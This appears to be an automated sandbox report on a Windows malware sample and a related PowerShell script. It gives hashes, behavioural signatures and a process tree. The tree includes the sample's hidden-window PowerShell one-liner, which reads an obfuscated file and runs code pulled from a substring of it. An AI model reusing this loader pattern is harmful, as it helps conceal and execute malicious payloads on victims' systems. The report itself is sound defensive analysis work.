Analysis
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max time kernel
93s -
max time network
114s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
17-04-2024 12:53
Static task
static1
Behavioral task
behavioral1
Sample
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral3
Sample
Buffisternes.ps1
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Buffisternes.ps1
Resource
win10v2004-20240412-en
General
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Target
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe
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Size
523KB
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MD5
0b37c260284040ee0beb1549da143fb5
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SHA1
9ae52f766f75f704a28e4dd4a5fd23ba6cc1548b
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SHA256
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1
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SHA512
4433ba8bef7b41b70607d332a005c21472955b7d6caea68be6dfd5fdf0acdcda69fa72a121575997cc26b64db62d444d07dd386eeb2bf0cd75667ec95cf7d3ad
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SSDEEP
12288:KbNmJ8L4M58gAzcEHIksyBR3l1iAddpPW7rCMtvXpnh:We8L4MPAzfHBR3lkCcrCWXJh
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation 3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe -
Drops file in Windows directory 1 IoCs
Processes:
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exedescription ioc process File opened for modification C:\Windows\resources\Eksamenens\indkomstbeskatningerne.ini 3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4516 2312 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepid process 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2312 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exepowershell.exedescription pid process target process PID 2924 wrote to memory of 2312 2924 3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe powershell.exe PID 2924 wrote to memory of 2312 2924 3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe powershell.exe PID 2924 wrote to memory of 2312 2924 3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe powershell.exe PID 2312 wrote to memory of 2940 2312 powershell.exe cmd.exe PID 2312 wrote to memory of 2940 2312 powershell.exe cmd.exe PID 2312 wrote to memory of 2940 2312 powershell.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe"C:\Users\Admin\AppData\Local\Temp\3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden ; $Mins186=Get-Content 'C:\Users\Admin\AppData\Roaming\sep\Shahdoms249\terpers\Buffisternes.Muj';$Citrusfrugtens=$Mins186.SubString(61489,3);.$Citrusfrugtens($Mins186)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵PID:2940
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2312 -s 25563⤵
- Program crash
PID:4516
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2312 -ip 23121⤵PID:688
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
60KB
MD5536404b62f83ffc1c1ab96b8702ac936
SHA1e3fcddb4a59854532c9628fb842a89e44600d4df
SHA2562257be627271ea9c32361cfcdb142ccb3b807d841dbfc04c08356cd1d8336600
SHA5125e4f55571925250785b7674552960883841caf0ae0949a788d3afaf38494aab49f3838eb2f17a6138f4131ffd9f995a153d1676fc382734fde2b83d43d94663d